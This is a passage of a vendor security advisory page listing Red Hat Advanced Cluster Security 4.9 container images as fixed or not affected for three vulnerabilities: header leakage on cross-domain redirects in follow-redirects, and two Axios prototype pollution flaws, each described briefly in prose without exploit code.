| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le | — |
Threats
Impact
Important
A flaw was found in follow-redirects. When an HTTP request follows a cross-domain redirect (a redirection to a different domain), custom authentication headers, such as X-API-Key or X-Auth-Token, are not properly stripped. This allows these sensitive headers to be forwarded verbatim to the redirect target, potentially leading to the unintended disclosure of authentication information to an untrusted third party.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x | — |
Vendor Fix
fix
|
Known not affected
41 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le | — |
Threats
Impact
Important
A flaw was found in Axios, an HTTP client library. This vulnerability allows an attacker to exploit a prototype pollution issue if another part of the application has already polluted the Object.prototype. By doing so, the attacker can intercept and modify JSON responses or take control of the HTTP communication. This could lead to unauthorized access to sensitive information like user credentials and request details.
7.4 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x | — |
Vendor Fix
fix
|
Known not affected
41 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le | — |
Threats
Impact
Important
A flaw was found in Axios, a software library for making network requests. A remote attacker can exploit a prototype pollution vulnerability to inject arbitrary HTTP headers into outgoing requests. This occurs when the application's core object definitions are manipulated, causing Axios to misinterpret data and include attacker-controlled headers in network communications. This could lead to unauthorized actions or data manipulation.
7.4 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
41 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64 | — |
Workaround
|
|
